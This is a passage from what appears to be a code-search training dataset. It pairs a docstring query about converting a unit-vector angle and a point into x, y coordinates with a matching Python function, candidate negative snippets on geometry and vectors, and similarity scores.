[ "def minimum_area_OBB(xy):\n # get convex hull\n hull = quickhull2d(xy)\n nh = len(hull)\n\n # handle special cases\n if nh < 1:\n return (numpy.zeros(2), numpy.zeros(2), numpy.eye(2))\n elif nh == 1:\n return (xy[hull[0]], numpy.zeros(2), numpy.eye(2))\n elif nh == 2:\n ce...
[ "0.71409", "0.64706504", "0.6422543", "0.6240047", "0.62209463", "0.619702", "0.60763705", "0.60492533", "0.6021375", "0.60020083", "0.59830874", "0.5958246", "0.595116", "0.59336185", "0.5892794", "0.58926195", "0.5882427", "0.58573145", "0.58370155", "0.58370155", "0.583700...
0.79123634
0
Given angle from horizontal axis and a point from origin, returns converted unit vector coordinates in x, y coordinates. angle of unit vector should be in radians. Returns
def _to_xy_coordinates(unit_vector_angle, point): angle_orthogonal = unit_vector_angle + pi / 2 return point[0] * cos(unit_vector_angle) + point[1] * cos(angle_orthogonal), \ point[0] * sin(unit_vector_angle) + point[1] * sin(angle_orthogonal)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def vector_to_axis(line, point):\n line = line.normalized()\n np = point.norm()\n angle = line.angle(point)\n return point - line ** (np * numpy.cos(angle))", "def vector_from_angle(angle: float, magnitude: float = 1) -> typing.Tuple[float, float]:\n x = math.cos(angle) * magnitude\n y = math.s...
[ "0.6875712", "0.6629386", "0.6577215", "0.64005256", "0.6300734", "0.62850034", "0.61816216", "0.61778945", "0.6121601", "0.6113652", "0.61109966", "0.6102749", "0.6102427", "0.6094682", "0.6085306", "0.60775954", "0.60771406", "0.6071323", "0.6071323", "0.6071323", "0.605968...
0.78936476
0